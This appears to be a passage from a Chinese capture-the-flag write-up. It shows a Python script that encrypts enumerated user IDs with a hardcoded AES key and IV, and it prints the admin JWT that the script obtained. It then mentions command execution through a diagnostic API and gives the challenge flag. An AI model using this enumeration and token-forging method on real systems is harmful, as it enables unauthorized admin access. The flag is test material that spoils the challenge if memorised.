那就只能去加密后枚举了

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

KEY = b"ManBaOaPortalKey"
IV = b"PortalRefresh01!"

def encrypt_user_ref(user_ref):
cipher = AES.new(KEY, AES.MODE_CBC, IV)

ciphertext = cipher.encrypt(
pad(
str(user_ref).encode("utf-8"),
AES.block_size
)
)

return base64.b64encode(ciphertext).decode()

print(encrypt_user_ref("0001"))
#r8Z3xPBHo1pxxIU/J3fBzA==

传入后找到0001为管理员并且获得token为eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDAxIiwidXNlcm5hbWUiOiJvcHMtYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJkZXB0Ijoi5bmz5Y-w5rK755CG5Lit5b-DIiwicHVycG9zZSI6InBvcnRhbC1jb250ZXh0LXJlZnJlc2giLCJpYXQiOjE3ODEwOTIyNTcyMjd9.U2m6yJEf4gwZ6gHn09Jm40VvomR9XAI5Sfq6nTsNDy0

image-20260610195201991

最后去诊断api命令执行即可,在/var/log/mongodb/mongod.stdout.log找到flag

image-20260610201216195

flag{dd12af09-2d14-4dfc-bd83-fd0fa907b47d}